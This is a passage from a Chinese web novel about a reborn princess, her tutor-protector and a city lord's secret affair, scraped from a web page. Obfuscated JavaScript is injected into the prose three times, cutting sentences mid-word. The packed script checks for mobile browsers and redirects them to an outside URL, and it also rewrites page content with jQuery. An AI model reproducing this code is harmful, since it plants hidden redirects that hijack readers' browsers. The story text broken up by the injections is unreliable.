“你不如承认吧,就算是我疯了,我也是被仙子的美貌逼疯了,仙子,我爱上你了,今夜你就从了我吧!我保证将你那三百两银子尽数还给你,并且八抬大轿迎你过门!” “你不怕死么?”朝颜冷静下来,频频后退,伸手将头上簪子拔下当作保护自己的武器,尖锐的那端直指着他,威胁道:“你可知动了我的后果是什么?” 关奚已经被色心冲昏了头,唇角勾起,眼神尽是欲望,“呵,后果?不就是醉仙欲死么,小爷不怕!”说罢还想伸手抢夺她的簪子。 “滚开啊!” “把你的脏手拿开!” 两句话近乎是同时道出,一道男音一道女声。 清冷的男音在夜色中荡开,未见其人先闻其声,朝颜紧绷的身子终于放松,她安了心,泪珠瞬间滑落。余光瞥见男人抬手一挥,冷冽的银光在眼前闪过,少年想拉朝颜的手后缩想躲,不料随着一声惨叫,两根手指头应声掉落。 关奚疼得要命,大声呼唤:“救命!救命!” 血止不住地流,他痛苦呻吟,弯腰抱臂,跪坐在地。 娄卿旻面色阴沉得很。 眸中杀气尽显,心智也逐渐紊乱,所有行为动作不受控制,他一个箭步上前将朝颜揽到身后,右手挥剑,竟直接断了关奚一臂,而那臂,正是方才他伸手拉朝颜的那一臂只。 他失了理智,从前做事一向会三思而行的他此刻完全没时间多想,也不管后面要如何收场,硬要给关奚点颜色瞧瞧。 只有他自己知道,方才见朝颜被关奚抓着手臂时,胸间的怒火是涌上来的速度之快,不管不顾动了手,如今神智恢复,才发觉自己方才有些失控。 他想杀了关奚的心都有,身上不断散发着冰冷彻骨的寒,让人生惧。 琥珀色的眸子被满地鲜血染红,是那样令人害怕。 断臂落地后,鲜血溅到朝颜的鞋面上,刹时变成一团阴暗,她嗦嗦地后退几步。 注意到朝颜动作的娄卿旻也逐渐缓过神。 他垂下眼睫,整理好凌乱的思绪后快步走到少女身旁,弯腰将她鞋面上的污渍擦拭干净后,十分温柔地搀扶着她受惊的身子,转过头便对少年怒喊出声:“滚!” 关奚吓得屁滚尿流,落荒而逃,丝毫不敢喊痛。 宽大的手掌落在肩头,朝颜焦虑不安的心在这抹柔情似水的暖意下逐渐趋于平稳。 关奚丑恶的嘴脸频频浮现在眼前,她还是有些不适,好在男人及时赶来。缓解片刻后,紧绷的身子也慢慢放松归于平静。 她与娄卿旻一齐穿过阴暗小巷重回到主街。 夜幕升高,天色虽迟,街上的人却来来往往,愈来愈多,从前养足的精神似乎都在为今夜做准备。 余光瞥见到朝颜受惊的模样,娄卿旻也有些后怕,面色仍然紧张。 他方才是听到几个男子在调笑浪荡子关奚身边突然带着一个妙龄少女,这才怀疑那少女是朝颜,费力逼问出二人离去的方向,终于在一处阴暗小巷找到他们。 他不敢想,若是自己再晚来几步,朝颜将受到多大的伤害。 朝颜虽学过武,是比平常女子更聪慧些,但总归是女子,多少还是会落于下风。 倘若她拿起武器对上一般人足矣自保,但今日她是空手赤拳,再对上那强势又厚脸皮的关奚,并无多少胜算。 好在他去得及时,未酿成大祸,否则他必成华纪罪人。 届时朝穆不会放过他,已逝的朝饶更是不会让他安稳。 他自己也会恨自己…… 二人越过人群慢慢前行,娄卿旻垂眸看着失神的少女,褐色的眸中带着几分深意。 若是往常朝颜做了错事,自己免不了对她一顿责备教导。但今日不同,眼下他是半句话都不敢多言,只敢默默陪着她,给予她些温暖与安全感。 娄卿旻买了两个面具遮面,二人耀眼的容貌被遮住,降低了存在感。 只是他们身上无端散发的贵气与那股不同于常人的清流,在众人衬托下,不自觉成为集会上最亮眼的一双璧人。 热闹长街上,总有几个慧眼识珠的人向二人投去艳羡的目光。 下一刻,又有不长眼的女子朝娄卿旻高挑的身形撞过去,“这位公子,不知奴家可否与你共度良宵?” 怕吓到朝颜,娄卿旻已经不是方才那副寒潭模样,又恢复成往日里正人君子的姿态,淡淡拒绝:“夫人在侧,请姑娘自重。” “你们这是为掩人耳目假扮的吧?”女子一语道破。 “谁家夫妻二人在一起不手拉着手,彼此挽着腰,哪像你们这般,一前一后两人离得十万八千里?我才不信!” 见人依依不饶,娄卿旻羽睫微垂,迅速找了借口搪塞过去:“夫人正与我赌气,还未哄好,自是不敢过分逾矩。” 另一个女子看热闹不嫌事大,听完娄卿旻的话便扑哧笑了,“哎呦呦,夫妻二人床头吵架床尾和,说什么逾矩不逾矩,这么见外?” “妹子,你听姐的,俩人亲一口就算和好如初了,莫要再与你这郎君置气了。就你夫君这容貌身姿,你不爱可有的是人爱对不对啊姐妹们!”话毕,他们便将二人围在最中间,其中几个女子在朝颜身后推了一把,朝颜脚下一个踉跄,径直冲进娄卿旻怀中。 刚经历过一场惊吓,她眼下还在愣神中,麻木地跟着娄卿旻前行。心中有事,她也没听清几个女子所言,只感觉到自己被人搡了一下,转而便陷入男人温暖宽敞的怀抱里,双手抵在他胸膛。 面具颇大,松散地覆着脸颊,二人也是初次离得这样近,她神思收了回来,后退一步拉开距离,而后呆呆地抬头,褐色深瞳缓缓对上娄卿旻琉璃般的双眼,这瞬间世间仿佛停滞,寂寥无声。 她又好似听到了清晰的心跳声,分不清是源自谁的,也看不懂他眼中那道不知所谓的情绪。 四周尽是看热闹的人,她只知道二人若是不做些什么验证娄卿旻的话,便脱离不了眼下窘境。 不知是谁又说:“夫妻之间能有什么过不去的?你们这辈子还有许多年要彼此陪伴走下去,不如听我一句劝。俩人亲一口便让那些不愉快都烟消云散,快些和好吧!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405645|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 人群里火上浇油的人愈来愈多,朝颜无地自容,想揭穿二人扯下的谎言。 但一想到解释过后,他二人便会被旁人打搅,她也不敢真的戳破。 “对啊对啊!” 方才第一个开口的女子也跟着重复道:“小夫妻就是如此,床头吵架床尾和,妹子你就原谅他吧!” 场面愈发难以收场,此刻二人除了硬着头皮证明彼此是夫妻别无他法。 娄卿旻一侧耳朵已经泛起血红,朝颜眨了眨眼向下看去,男人便懂了。 得到朝颜的允许,娄卿旻俯身扯过她的一片衣袖,轻柔地一拉,少女的腰身就这样被他揽入怀中,此刻的她只到他胸膛,小鸟依人,一动不动,模样极其乖巧。 他低头,对上那抹极其诱人的红唇,朝颜登时屏住呼吸,眸子不自觉睁大,就在她吃惊地以为娄卿旻要摒弃那些伦理纲常亲过来时,男人忽然上移,下颚薄唇定格在朝颜眉眼之间,众人恍惚时,男人微微俯腰,在她额上留下一个十分缱绻的吻。 很淡,很轻。 朝颜只觉得自己像是被什么东西碰了一下,身子便开始发麻发热。耳边乱糟糟的,她也像是变成一个只会看地的稻草人,纹丝不动。 吵架的夫妻在他们的帮助下重归于好,众人喝彩欢呼。 那女子心满意足地笑笑,便继续教导娄卿旻:“姐也不完完全全站在你这边,日后可不能再惹你夫人生气了,男人嘛,虽说膝下有黄金,但不爱妻又如何能赚到万两金?该迁就时还是要迁就!该哄就哄!” “姑娘说的是,在下记住了。” 朝颜还在愣神中,紧接着便听耳侧男人与一旁看热闹的人道:“在下还有事,要与夫人先行离开,告辞。” 闻言,混乱嘈杂的人群逐渐散去,为二人留出一条狭窄的小路,娄卿旻便极其自然地牵着她的手臂,拉她向前走。 经过方才那一吻,二人心间均乱,此刻这一幕也不知是做戏给旁人看还是自己入了局。 温热的触觉残留在额上,面上不断升高的气温让朝颜忽然多了些无所适从。 晚风微凉,阵阵拂过,二人手牵手走了许久,朝颜才慢慢恢复神智。 纵然明白二人只是做戏,她的心却还是照样不受控地多了些奇特的感觉,那感觉难以言表、令人头脑发蒙,像是被抽丝剥茧,偷了魂魄。 朝颜紧紧地盯着脚下的青石板,神思回拢。 重生将近一年多,这一年的日日夜夜过得很快又很慢。 慢到朝颜已经忘记自己是重生而来,想就这样一辈子享受这太平生活。但每每她一松懈,便又回想起和亲日期一日比一日近,时间太快,快到她根本不想放弃这热闹人间路而踏入寒冰深潭。 心间奇特的感觉还未消散。 回想这些时日,朝颜的心还是第一次如今日这般,乱了阵脚。 直到不远的后来,她与人分开,才后知后觉反应过来,这不知名的感觉,其实是一种叫做春心萌动的情愫。 …… 二人穿过嘈杂的街道走出闹市便匆匆往回赶,抵达驿站时抬头便看到关奂自己完好无损地在驿站二楼。总归是熟悉稷粮城的人,不易迷路,也侥幸逃脱了今夜被强制匹配的“规矩”。 就在他们即将踏入驿站时,朝颜垂眸,余光忽然瞥见一道熟悉的身影,那人从她身后擦肩而过,留下一抹淡淡的气息。 远离闹市,茫茫月光下几片乌云将驿站笼罩成一圈,忽明忽暗,缓慢移动。朝颜顺着那人的背影看去,他已经走远了,身上一袭暗色玄衣时而显眼,时而隐秘于夜色,风起,随之带来了一股淡淡的花香气。 很甜,很熟悉。 好似曾经几百个日日夜夜,她鼻尖都充斥着类似的香气。 那人…… 朝颜忽然想到什么,彻底回过神来。 她瞳孔微张,脚步停在原地。 娄卿旻见她面上的迟疑,很是迷惑,轻轻开口问她:“殿下,你怎么了?” “没事。”她下意识回。 只是看到一个神似那人的背影。 朝颜安慰自己,或许只是背影相似而已,并不能证明其他,更何况这一世她已经改变了许多东西,所嫁之人也不是他,便不要再自己吓自己了。 更何况也不可能是他,这个时段的他应在普桑保命,怎会来到千里迢迢的稷粮城。 朝颜深刻记得她上一辈子嫁入普桑后,曾听过几个下人背地讨论他未得势时在普桑的处境是多么艰难,所遇之人与遭受的苦难是多么一番惨状。 身为王公子时的他可怜、弱小,任人欺凌,无权无势无人宠爱,自是不可能出现在几百里远的华纪。 依稀能回忆起那时的自己是多么心疼过他的过往,多么信任他,日日都陪着他弥补他童年所受伤害。 可她将死之时才明白,那一切都是骗局,假的! 前世的她不懂,以为那是爱。直到后来她国破家亡才知,所有一切的一切全都是他的伪装,是他故意让人当着她的面说他有多么可怜,好勾起她的怜悯之心,让她爱她,信他,助他。 朝颜越想越觉得这样心机深重的人是多么可怕。 他会利用一切可以利用的东西,不惜代价,不顾后果。他之所以可以登上王位,就是因为他有一份足够忍耐的蛰伏之态,与一颗不为任何人所动的冰冷狠厉之心。 而这样一颗心,足矣支撑他做成任何事。 60. 临别前夕(二) 自那夜荒唐集会之事后,朝颜娄卿旻二人便十分有默契,连着整整两日没有出现在彼此面前。琐事繁杂,朝颜便也将那夜一晃而过的身影抛之脑后。 日子就这样平静安稳地又过了两日。 群芳阁终于也开张了,众人也都准备好自己所擅长的技艺,待在属于自己的领地,唱曲、掌勺、亦或是服侍来往的客人。 朝颜日日都会去那儿凑热闹巡视,短短几日,盈利逐渐增多。 群芳阁与连瑕在燕国所经营的酒肆有异曲同工之处,也有许多新颖之处。 朝颜内心有股有强烈的自信,日后群芳阁会在这些姐妹们互相配合下愈加壮大,越来越好。 说起来群芳阁中最出色的便是那位已经当了母亲的年长女子。 名为叶扶桑。 她有一副极妙的歌喉,宛如夜莺,婉婉动听。 她的名字也如她的歌喉一般,让人听后忍不住赞叹其中的坚强之气。 年幼时喜爱唱歌,入了群芳阁之后便以歌喉为艺,为宾客唱曲解闷。 一连唱了好几日,竟一举成名,变为群芳阁内最受欢迎的女公子,被唤作城中第一喉,为酒肆引来许多客人。 只是凡事过满则亏,日日如此太过劳累,一来二去便伤了嗓子。 朝颜也是得知有人闹事才去群芳阁拜访,不问不知道,一问才了解到她近两日没来,一直在家休息养伤。 盛名之人几日不出现,不由得添了几分神秘感,逐渐在众人口中传来传去,变了味道,客人们也失了耐心,以为她故意装病,便纷纷开始闹事。 此事一出,朝颜用过午膳便赶到群芳阁。 她带着人特意去叶扶桑的居所寻了一大圈都不曾见到她的身影,直到发现家门口躲着一个鬼鬼祟祟的女孩,这才弄清事情真相。 原来那日她叶扶桑在家修养时,外面来了一大群人直接闯入屋中将她带走。 朝颜又继续问,女孩支支吾吾地说见过其中几个人,是城主夫人的手下。 只是不晓得城主夫人为何抓人。 关键时刻突然一男子出现,自称是女孩的表兄,在城狱当值,见朝颜模样好看,便一股脑地将自己所见所闻全部道出。 叶扶桑是被城主夫人以与有妇之夫通奸的罪名抓入大牢,据说待二月十五月圆之夜便要处以宫刑,整治。 此话一出朝颜被吓了一激灵。 糟了,明日便是二月十五。 也就是说叶扶桑明日便要被处刑! 宫刑,她曾听皇城的宫人们私下讨论过,不论对男对女,都是十分残酷的刑罚。她又向二人追问,但他们也不知叶扶桑究竟是与何人通奸诞下私生子,也不知城主夫人为何紧抓着一个普通百姓不放。 什么都不知,便被不明不白得定了罪,实在是没天理。 女孩知道其中水深,也不敢为叶扶桑出头,城主夫人行动缜密,神不知鬼不觉便将人抓走,若非朝颜今日出现又问起,恐怕直到叶扶桑被处刑后,此事都未必能被众人所知。 城主夫人平日温顺,知书达礼,虽是对府上下人有些严厉,要求较高,但对待他们的吃穿用度方面属实算得上不错。 而叶扶桑亦是温柔坚强,像花一般,清丽脱俗,纯洁无瑕,临危不惧有自己的个性。 这样的人又如何做得出那样不堪之事? 一想到明日便是十五,处刑之日,探到消息后朝颜便主动去寻娄卿旻,打破二人这几日不同寻常的平静,而后拿着他的令牌便去了城中大狱。 哪知,她还是去晚了。 抵达大狱时,叶扶桑正被人绑在柱子上施以酷刑,美丽白皙的脸颊上被印了个深红的烙印,容貌尽毁。 身上是被鞭子抽打的痕迹,血淋淋得,皮肉已经绽开,她眼睛半眯,神志不清,强忍着痛楚近乎快要晕厥。 叶扶桑感觉自己就快要死了,她原本已不抱希望,却在黑暗中瞥见一盏光亮的灯。 是了,她见到朝颜的一眼便知道自己终于熬到头了,救星来了。 处刑的人不知朝颜身份,起初不予理睬,还嚷嚷着要将朝颜抓起来,娄卿旻随后赶到及时救下二人。 朝颜吩咐侍女将女子带到一个安全之地,让医者帮她治伤,随后又叫来了行刑的守卫,了解清楚所有事情的来龙去脉,才知上次在街上见到的青涩少年竟是叶扶桑与城主卫覃的私生子。 城主夫人闵淑本就心情不佳,得知有人劫狱便立刻赶来,此刻亦是气急攻心,双眼通红,顾不上形象,对着朝颜一通喊叫:“你一个外乡人为什么要多管闲事!你根本什么都不知道,你凭何要插手?你信不信若你是我,定会比我还要癫狂!” 她边喊边哭,不知不觉将事情从头到尾都说了一通,朝颜才知那日闵淑出街游玩时,半路发现城主卫覃悄悄进了一家酒肆,更衣后便从后门溜走,事出反常,闵淑好奇心实在重,便悄悄跟踪他,结果发现他去了城西一处隐蔽的木屋,起初闵淑安慰自己他是公务在身,不得不伪装,下一刻她便见到卫覃与一女子紧紧抱在一起。 她不是不知叶扶桑的名字,只是不敢相信。 不敢信自己日日恩爱着的丈夫竟与城中第一喉有私情,她恨不得当场进去杀了他们! 闵淑大家闺秀,自小被教导得极其谨慎,理智战胜了疯魔,她当场忍着没发作,眼睁睁看着二人你侬我侬后,回去便差人将事情调查明白,才知二人早在自己未嫁给卫覃时便暗通款曲,她心痛到极致,一想到二人亲密的举动便日日呕吐不止。 她做了严密的计划想戳破二人,哪知恰好赶上叶扶桑独自在家中休息的时候,机会难得,她一声令下便将人抓入大狱关起来。 女人一旦陷入嫉妒中便会变成一个极度不理智的疯子。 城主夫人便是如此。 事情真相大白,闵淑彻底疯狂,喊叫道:“我心心念念的所爱之人竟在外面与别的女子生子,孩子竟比我儿还要大一些,你说我该怎么做?我又能怎么做?”她已经彻底失去了稳重的心智,狠狠瞪着朝颜。 此时此刻她心中唯一的念头便是,让这对男女彻底消失在世上,这样便永远不会有人知道她这不堪的一面,而她还能继续扮演光鲜亮丽又贤惠的城主夫人。 了解所有事,朝颜憬然有悟,一时不知自己该同情谁,援助谁。 亦或是在这两个苦命的女人中分个谁对谁错。 一向清醒的她这次也不敢再断下结论。 她们都是被同一个男人所伤,又是被同一个男人所爱。 一个是奉父母之命娶来的兢兢业业为自己打理府中事务的正妻,另一个则是年少情深情定一生却不能名正言顺在一起的爱人。 但她知,卫覃才是三人中最自私的人,他失了道德,在与闵淑成亲后还与年少所爱的叶扶桑日日相伴,企图瞒天过海。 若非闵淑这次发现,他或许会一辈子如此这般,两面三刀,左右逢源,永远将人瞒在鼓里。 闵淑手指死死缠着绢布,眼中充斥着愤恨冷漠,自嘲一声,“他卫覃让我成了这世上最大的笑话!你说我该怎么办?故作大度迎她进府与我共享一夫?” “做梦!” 悲痛的泪水流入口中,又咸又苦。 闵淑不明白,难道在他们男人眼里,当初许下的山盟海誓,一生到白头的誓言都随着时间消失殆尽了?亦或是他本就不爱她,只是被迫娶了她。 那他为何不早早言明? 这样她也不用像个跳梁小丑,日日扮演贤妻良母,讨好他。 莫不是他很享受两个女子的服侍…… 看着女子悲痛欲绝的模样,朝颜心中也不好受,许是想到前世自己也如她一般处境过,眼下竟有些讨厌叶扶桑了。 但往事已经发生,再如何后悔也无法改变已经造成的伤害,朝颜收回落在闵淑身上的眼神,安顿好叶扶桑后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405646|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便与娄卿旻一齐赶去城主府,将此事上报给卫覃。 男人貌似是最可笑的东西。 他听完一屁股瘫坐在地,抱头懊悔,痛哭流涕。 他没有立场处罚闵淑,更是不敢去看望叶扶桑。 直到过了一炷香时间,他才反应过来,追问叶扶桑之子的消息。 朝颜后知后觉,闵淑还对卫覃与叶扶桑二人的私生子下手了! 虽无太多亲情但毕竟是亲子,卫覃慌里慌张地下令寻找儿子的下落。 然而他们找遍整座稷粮城,也不见少年的影子。 闵淑那时被嫉恨蒙蔽了双眼,吩咐人将少年抓起来打了个半死便丢了出去,任由他自生自灭。据下人们说他被丢弃时已奄奄一息,若无人搭救,怕是只有死路一条。 所有事情串联在一起,得知卫覃私生子之名后,朝颜这才明白过来。 城主与叶扶桑之子竟叫卫介! 卫介,卫介,那是衡无倡的贴身侍卫,更是未来中原数一数二的一把好刀! 朝颜如梦初醒,才发现自己竟放走了一个天大的隐患。 难怪那日初见少年,总觉得他身上有股熟悉的气息,原来竟是故人。他二人本就打过交道,只是在前世。 卫介,前世中原赫赫有名的冷面将军,屡战屡胜,对手下战俘很是无情,曾一人杀了万人不忠于衡无倡之士。 朝颜嫁给衡无倡便知,他是那人身边最忠心耿耿的一名干将,年纪轻轻便位列将军之职,平日里出谋划策与领军作战均不在华纪那些得力上将军之下。 此刻朝颜无比后悔初见他那日没强制将他留下,若此卫介真的是那个卫介,那那夜她见的人便有很大可能是衡无倡。 而她脑中也浮现出一个大胆的猜想—— 卫介也许是被衡无倡救下了,不然不会凭空消失。 她暂时不敢去想衡无倡为何会出现在稷粮城,她只知卫介若是真被衡无倡救下,他日后便会是她最难对付的敌人之一。 思及此她便也让娄卿旻派出精兵暗地加大力度搜寻他的下落。 可他们寻了整整五日,稷粮城全城上下都翻了个遍却依旧找不到他的半点踪迹。 仿佛凭空消失了般,不留半点线索。 卫覃甚至将稷粮城附近几十里的城池均寻了一圈,仍然没有半点消息。 在这期间还发生了一件对朝颜与娄卿旻二人影响极大的事。 那日仲春之会后,关奚的娘便日日在府衙门前叫苦喊冤,诉说着关奚如何被人砍断双指与手臂的画面。她恶人先告状,仗着泼皮无赖的性子将娄卿旻告上公堂。 娄卿旻身为太孙少傅,自是不会容许关家污蔑,但在偏远的城池,权势还是架不住百姓的悠悠众口,最后竟演变成权贵故意伤害平民这等流言。 舆论演变极快,一传十十传百,娄卿旻在众人口中逐渐声名狼藉。 想到娄卿旻全是为了自己才变成如今这副模样,朝颜内心愧疚自责。她知晓被人污蔑与嘲笑的滋味,极其不好受,为此她想了个算不上多妙的主意,可能会伤敌一千自损八百,但她毅然决然做了。 她直接向城主亮明自己的身份,并斥责关奚那夜冒犯她的举措,赞扬娄卿旻救驾及时。 为此还特意吩咐城主将此事写在告示上,确保满城皆知。 这一系列举动直接将娄卿旻的名声由衰转盛,从最低处拉回顶端。 关母后悔极了,她不知晓朝颜与娄卿旻二人的身份如此不简单,一个比一个难惹,若知晓,定然不会再去府衙状告,但事已至此为时已晚。 冒犯公主可是重罪,莫要说地位尊贵的嫡公主。 关家没得到任何好处,最后还将关奚重重处罚了一顿。 千夫所指无病而死。 朝颜又一次认识到众人的言论是多么厉害的武器,既可伤人,又能护人。 而众人的舆论偏向亦在弹指之间。 61. 临别前夕(三) 朝颜自爆身份,百姓一一相传,来往商队繁多,不到半月,这个消息便传入华纪皇城。 皇城的朝穆苦苦寻了朝颜一年之久,终于得知朝颜行踪,随即便派一千人马迎朝颜回城。皇城中世家权贵知晓此事后,议论纷纷。 有些人传她是因不愿嫁给普桑,太过自私自利而偷偷逃婚,也有说她人为不检点,暗地与情郎私奔,更有甚者得知她与少傅一同出现在稷粮城,便污蔑娄卿旻裹挟公主暗度陈仓。 此等污蔑言论对二人的名声损失极大,或许还会毁掉华纪与普桑的联姻之盟,好在娄卿旻在皇城有几位亲信,在这个消息未传出皇城前,娄卿旻私下便派暗信将散播此谣言的人都解决了。 太子少傅的名声不值一提,换做旁人,娄卿旻自是不会过于在意,但事关朝颜,他不得不保护好她。 和亲公主名誉极为重要,不容任何人污蔑诋毁。 燕国事结,稷粮城的女子也有了归宿,眼看着便要到约定好的及笄之月,和亲之事尽在眼前,朝颜本就计划稷粮城事结后便回去,故而在得知华纪专程派人接她回去的事后也并不意外。 朝穆给足了她面子,未将此事闹大,只对国人说公主忧虑华纪百姓,想在和亲前体察民情,最后再好好看一眼华纪的大好河山,毕竟和亲之后便再也回不来了。 身份公之于众,稷粮城上下众人肉眼可见的全都对朝颜极为恭敬,他们远在皇城千里之外,不知晓朝颜是否得宠,听到公主这个名号便肃然起敬,再无一点怠慢。 关奂一早便察觉二人身份不简单,只是未曾料到朝颜会是那位即将和亲的嫡公主。在她眼中,王族世家都会与城主夫人那般,不会对自己这种平民百姓高看一眼,哪里知晓冰冷无情的贵胄之人也会有怜悯百姓的心思。 朝颜回城在即,宫中规矩繁琐,她也不方便再多带关奂一人,而后便赐予关奂骏马与银两,放她自由。 “你走吧,去你想去的地方。”关奂前来拜见朝颜,便听到这样一句话。 关奂不解,“啊?”了一声。 她以为公主将自己救下便是想让自己在她身边为奴为婢,帮她做事,哪里知道她竟对自己一无所图,还如此决断地放她离开。 朝颜知道她从前被打压过甚,以至于在听到自己身份后更不敢随意说话做事。她将人扶起来,又道: “我是想说,我不用你做什么奴,不用你侍奉我。我只想让你去做你想做的事,无论是求学亦或是做别的,只要你想,就大胆地、勇敢地去做。你怎知上天之所以让你降世,不是催促你去往某条注定的路?或许真的有非你不可的地方呢?” “真的么?”关奂难以置信。 “千真万确,你没听错。”朝颜抚平她微微炸起的鬓角,笑着回答。 她知晓自由与随心所欲是多么重要,不想关奂从一个牢笼中挣脱出来又陷入另一个囚牢。也不想她的命运只有为奴为婢这一条,所以她放关奂离开,亦是放心中被束缚的自己离开。 关奂喜极而泣,激动地朝她弯腰鞠躬,双手抱拳,“奴万分感谢公主殿下将我救下。日后有需要的我地方尽管吩咐,奴定在所不辞!” 朝颜笑着摇头,后道:“若你有需要,我可以派人送你去,只是那日听你说你想去燕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405647|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 国请教一个教学先生,那人是谁?” “好似,好似是一个名为仲清的先生。”见朝颜愣住,她以为自己说错话,连忙解释:“奴也是听邻居夫人所说。她的儿子从燕国寄来许多问安的信,奴才知晓燕国有这号人物。” “不求银钱,只用以物换物便可入学,那先生好似说过一句话,有教无类,一视同仁。所以奴想试试,试试看女子是否也能读书。” 朝颜回忆起在燕国经历的许多事,还有仲清那日与她所说那番话,不知怎地,她总觉的仲清那次能赞同自己读书,此次也定会接受关奂。 朝颜见过关奂对读书的决心,也知仲清为人,很是赞同关奂此举,也相信她一定能做出一番名堂,对她道:“既然你心中有了必须要做的事,便大胆去做吧,期待日后你能学成归来,届时可在客卿中听到你的名字。” 她有信心,关奂会与连瑕一样,找到自己的天命所在,努力活出不一样的人生。 肺腑之言令人动容。 关奂先是不语,片刻后眼中蓄满泪水,临走前道了句:“殿下牺牲自己为华纪和亲,亦是大义之举,国人定会好好铭记公主殿下的所作所为,您日后定会留名青史,载入史册。” “若有机会,奴婢定会努力成为殿下的客卿,为殿下分忧,以报答殿下赎身救命之恩!” 朝颜笑得明媚,用力点了点头。 关奂对其行了跪拜大礼后,背着包袱骑马离开。 背影渐行渐远,她们的心却靠得愈来愈近。 少女之间的约定总是简单明了,彼此惺惺相惜,互相欣赏,乃是世间难得的真情。 62. 临别前夕(四) 与此同时,千里之外的普桑国艳阳高照。 白率在自家酒肆中将将送走一批货商,便回房中休憩品酒,哪知刚坐下便收到暗探送来的消息。 暗探是他年少时派去燕国探听消息的人手,埋伏多年如今也算有可用之处。 他打开绢帛从头至尾看了一遍,瞳孔微张。 原来他与华纪签订盟约后回国这一年来,华纪嫡公主朝颜竟背着朝穆逃了婚,据暗探所言,若非前些日子她在稷粮城名声大噪,因百姓纠纷护着华纪的少傅,华纪也不可能寻到她的消息。 这倒是让他忆起,半月之前安插在北狄附近的线人也说过此事。 当时燕国北部边境荆城与北狄起了冲突,还是那位赫赫有名的少傅亲自出马才平定了一场将要发生的战乱,如今将所有事连在一处细想,那时华纪公主或许也在荆城。 只是一个女子出逃,按华纪精兵的训练程度不可能寻不到,可眼下事情都已经过去快一年之久,公主的藏身之地才暴露出来,那便证明朝颜逃亡这一路有人故意隐瞒保护。 思及此白率冷笑一声。 朝穆也是个没什么脑子,只知道过好自己那一亩三分地的人。 但凡他有心在燕国安插眼线,也不至于找朝颜找了足足一年。 不过…… 由此也可见,朝颜背后之人是华纪那位年纪轻轻便当了军师的娄少傅,娄卿旻。 不知为何,白率淡然的心莫名生出一种怪异的预感。 去岁在华纪大殿上与那位公主交锋之时,从少女三言两语中便看出她不是个任人宰割的人,既不服输,便免不了生出些风波。若非太子衡宿见过她的画像后便一心爱慕她,日日在他跟前叨扰念叨,他自是不会花费心思将一个不服管的女子引到自己国家。 可他疑惑的是,那位公主既然决定逃婚,为何不躲得远远的? 如今又主动暴露自己的行踪,让朝穆将她风光接回,莫非她回心转意了,愿意嫁到普桑来? 白率觉得这其中定是有什么不为人知晓的事,再加上如今又多了个娄卿旻,他不得不怀疑华纪背后有别的谋划。 况且,少傅与公主,孤男寡女,共处多时,月黑风高。 他脑中不自觉地蹦出一个荒谬想法。 那二人或许背地已暗生情愫。 毕竟人的自制力也是有限的,纵然传闻中的娄卿旻是为翩翩君子,不爱女色,但此次他知情不报,任由公主胡闹,怕是架不住牡丹花开得艳丽,与旁的男子一样,拜倒在对方石榴裙下了。 白率垂着圆眼思索着,斟酒的手臂也停在半空,盛酒的青铜杯已满,酒水溢到桌案,滴答滴答的落水声将他的思绪打断。 他收回手臂,唤侍人进来擦拭,心中默默下了决定。 不论如何华纪与普桑的联姻之事不能被毁,他必须尽快提上日程,免得再生动乱。 他决不能让任何人毁掉他苦心谋划的大局。 …… 稷粮城。 前有城主费力寻子一事,后有公主少傅莅临城池之事,小小城池在同一时间闹出两件事,城中人声鼎沸,乌烟瘴气,百姓们也变得心神不定,纷纷被勾起看戏的好奇之心,个个撂下手中农活,日日在驿站门口静待观公主尊荣。 而自归国消息透出去,关奚之事不战而败,朝颜再没踏出驿站半步。 百姓们却是不依不饶,仍想借机见她一面。 朝颜已经被众人的探究心磨平了性子,大门不出二门不迈,日日坐在房中靠着练字看古籍消磨时间。 又一日夜幕降临,月色皎洁,空中闪烁着点点繁星。 因有夜禁,天一暗百姓们便窸窸窣窣地往家赶。朝颜从二楼窗口缝隙向下看去,长街空荡,没有丁点儿人影。总算得了清静,朝颜便开了房门,拎着一壶酒水打开自己另一侧通着外界的房门,走了出去。 入目便是阁楼晒台,抬眸正好可见外景。 前世嫁人后也喝过几次酒,知晓自己酒量不是一杯就倒,她便肆无忌惮地斟酒,一口一口往嘴中送。 春日清风微凉,轻抚面庞,发丝跟着摇曳。 衣衫微晃,月下饮酒,竟生出一种凌乱又随性的美。 朝颜一手搭在柱子上,一手捏着酒杯,灌了口酒便轻闭双眸,享受这刻难得的自在。 不多时,她听见一阵轻便的脚步声由远而近,走至她身侧。 她缓缓睁眼探去。 来人一袭青袍,于月色下时隐时现,风动,衣摆也随之晃动。 是娄卿旻。 朝颜淡淡看他一眼便收回视线,随即又闭上双眸,也不开口不理人。 二人共处许久,娄卿旻一眼便看出她心中有事,心绪不佳。而后便自顾自地靠在离她不足一尺的栏柱上,认真回望她。 许久,也不知过了多久。 